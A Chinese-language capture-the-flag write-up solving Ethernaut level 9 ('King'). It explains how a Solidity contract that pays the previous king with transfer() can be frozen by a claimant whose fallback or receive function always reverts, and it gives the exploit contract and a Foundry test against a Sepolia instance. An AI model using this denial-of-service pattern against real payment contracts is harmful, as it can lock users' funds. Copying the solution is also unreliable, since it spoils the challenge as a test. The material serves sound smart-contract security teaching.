# Ethernaut CTF Level 9 - King ## 題目 下面的合約是一個很簡單的遊戲:任何發送了高於目前獎品 ether 數量的人將成為新的國王。在這個遊戲中,新的獎拼會支付給被推翻的國王,在這過程中就可以賺到一點 ether。 看起來是不是有點像龐氏騙局 (*´∀`)~♥ 這麽好玩的遊戲,你的目標就是攻破它。 當你提交實例給關卡時,關卡會重新申明他的王位所有權。如果要通過這一關,你必須要阻止它重獲王位才行 (メ゚Д゚)メ ```solidity= // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract King { address king; uint public prize; address public owner; constructor() payable { owner = msg.sender; king = msg.sender; prize = msg.value; } receive() external payable { require(msg.value >= prize || msg.sender == owner); payable(king).transfer(msg.value); king = msg.sender; prize = msg.value; } function _king() public view returns (address) { return king; } } ``` <br> ## 分析 問題點在19行的`payable(king).transfer(msg.value);`上面 如果收款方沒有相對應接收的function像是receive / fallback 不管King contract 怎麼send,永遠會失敗 也可以達成題目的要求 - 阻擋重獲王位 <br> ## receive & fallback function 當一筆以太幣交易發送到一個合約地址時,並且該交易沒有附帶msg.callData 以及正確function name 智能合約會觸發 receive 或 fallback 函數 這時,發送者只提供了一個固定的 **2300 gas** 來處理這次交易。這個量的 gas 被認為足夠完成一次簡單的 Ether 轉賬,但不足以執行複雜的計算或存儲操作。 以下是個樹狀圖,介紹receive / fallback的工作方式 ``` 智能合約接收以太幣 │ ├── 無 msg.callData │ │ │ ├── receive() 存在 │ │ └── receive() 函數 │ │ │ └── receive() 不存在 │ └── fallback() 函數(如果存在) │ └── 有 msg.callData └── 調用 fallback() 函數(如果存在) ``` <br> ## 攻擊 - 注意要調整合約中的balance才能有錢發送 ```solidity= // SPDX-License-Identifier: MIT pragma solidity 0.8.0; contract AttackKing { address payable addr; // Gas optimization, put in constructor constructor(address addr) payable{ (bool success, ) = addr.call{value:(0.009 ether)}(""); require(success, "err"); } fallback() external payable{ require(false); } } ``` <br> ## Foundry Test ```solidity= // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; import "forge-std/Test.sol"; import "forge-std/Vm.sol"; import "../src/levels/09-King/King.sol"; contract ContractTest is Test { King level9 = King(payable(0x744efac1d83001908B44DbE90e9a99C10AB54bC2)); function setUp() public { Vm vm = Vm(address(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D)); vm.createSelectFork(vm.rpcUrl("sepolia")); vm.label(address(this), "Attacker"); vm.label( address(0x744efac1d83001908B44DbE90e9a99C10AB54bC2), "Ethernaut09" ); } function testEthernaut09() public { address(level9).call{value: level9.prize()}(""); // trigger the level9.receive() function assert(level9._king() == address(this)); console.log( "--- King claimed! Now try again, tx should be reverted ---" ); (bool success, ) = address(level9).call{value: level9.prize()}(""); // expect failed } receive() external payable { // block the future transfer revert("Not accepting"); } } ``` <br> ## 補充 - https://www.kingoftheether.com/thrones/kingoftheether/index.html - https://www.kingoftheether.com/postmortem.html